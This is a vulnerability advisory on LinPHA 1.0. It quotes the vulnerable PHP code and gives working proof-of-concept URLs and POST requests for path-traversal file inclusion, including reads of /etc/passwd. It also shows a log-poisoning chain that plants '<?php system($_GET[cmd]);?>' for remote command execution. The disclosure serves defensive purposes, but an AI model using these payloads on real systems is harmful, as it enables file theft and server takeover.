------------- Linpha <= 1.0 multiple arbitrary local inclusion ----------------- software: site: http://linpha.sourceforge.net/nuke/ description: " LinPHA is an easy to use, multilingual, flexible photo / image archive / album / gallery written in PHP. It uses a SQL database to store information about your pictures." -------------------------------------------------------------------------------- i) vulnerable code in docs/index.php at lines 28 - 41: ... if(isset($_GET['lang'])) // come from install pages { $include_lang = $_GET['lang']; } elseif(file_exists(TOP_DIR.'/sql/db_connect.php')) { include_once(TOP_DIR.'/functions/db_api.php'); $include_lang = get_language(); } else { $include_lang = get_http_accept_lang(); } include_once(TOP_DIR.'/lang/lang.'.$include_lang.'.php'); ... well, you can include an arbitrary php file from local resources, poc: http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../../test and, if magic_quotes_gpc = Off, any file: http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../../etc/passwd%00 -------------------------------------------------------------------------------- ii) install directory is not removed after installation, you cannot use files to modify settings but we have arbitrary local inclusion issues in several files: -------------------------------------------------------------------------- ii.a) vulnerable code in install/install.php at lines 26-36: ... if (@$_GET['language']) { $lang=$_GET['language']; } else if (@$_POST['language']) { $lang=$_POST['language']; } else if ($http_accept_lang) { $lang = $http_accept_lang; } else { $lang="English"; } include_once(TOP_DIR.'/lang/lang.'.$lang.'.php'); ... poc: http://[target]/[path]/install/install.php?language=/../../../../../../../test if magic_quotes_gpc = Off: http://[target]/[path]/install/install.php?language=/../../sql/tmp/linpha.log%00 -------------------------------------------------------------------------- ii.b) vulnerable code in install/sec_stage_install.php at lines 22-31: ... switch($_GET['whatlang']) { case 1: include_once(TOP_DIR.'/lang/lang.'.@$_GET['language'].'.php'); break; default: include_once(TOP_DIR.'/lang/lang.English.php'); break; } ... poc: http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../test if magic_quotes_gpc = Off: http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../etc/passwd%00 -------------------------------------------------------------------------- ii.c) vulnerable code in install/third_stage_install.php at line 22: ... include_once(TOP_DIR.'/lang/lang.'.$_GET['language'].'.php'); ... poc: http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test if magic_quotes_gpc = Off: http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../etc/passwd%00 -------------------------------------------------------------------------- ii.d) vulnerable code in install/forth_stage_install.php at line 22: ... include_once(TOP_DIR.'/lang/lang.'.$_POST['language'].'.php'); ... poc: POST [path]install/forth_stage_install.php HTTP/1.1\r\n"; Host: [somehost] Content-Type: application/x-www-form-urlencoded Content-Length: [data_length] User-Agent: GameBoy, Powered by Nintendo Connection: Close language=/../../../../../../../../test if magic_quotes_gpc = Off: POST [path]install/forth_stage_install.php HTTP/1.1\r\n"; Host: [somehost] Content-Type: application/x-www-form-urlencoded Content-Length: [data_length] User-Agent: Sun-Tzu Connection: Close language=/../../../../../../../../etc/passwd%00 -------------------------------------------------------------------------------- iii) if "user login events log" is set to "file" in Linpha administration (not the default) a remote user can inject arbitrary code in sql/tmp/linpha.log poc: try to login with username: <?php system($_GET[cmd]);?> and password: [whatever] now in sql/tmp/linpha.log we have something like this: USER | ERROR | 20060211 035519 | 192.168.1.5 | User <?php system($_GET[cmd]);?>: login failed! now, if magic_quotes_gpc = Off on target system, you can launch operating system commands, poc: http://[target]/[path]/docs/index.php?cmd=ls%20-la&lang=/../../sql/tmp/linpha.log%00 (same technique with install dir scripts...) -------------------------------------------------------------------------------- rgod site: http://retrogod.altervista.org mail: rgod at autistici org original adivsory: http://retrogod.altervista.org/linpha_10_local.html --------------------------------------------------------------------------------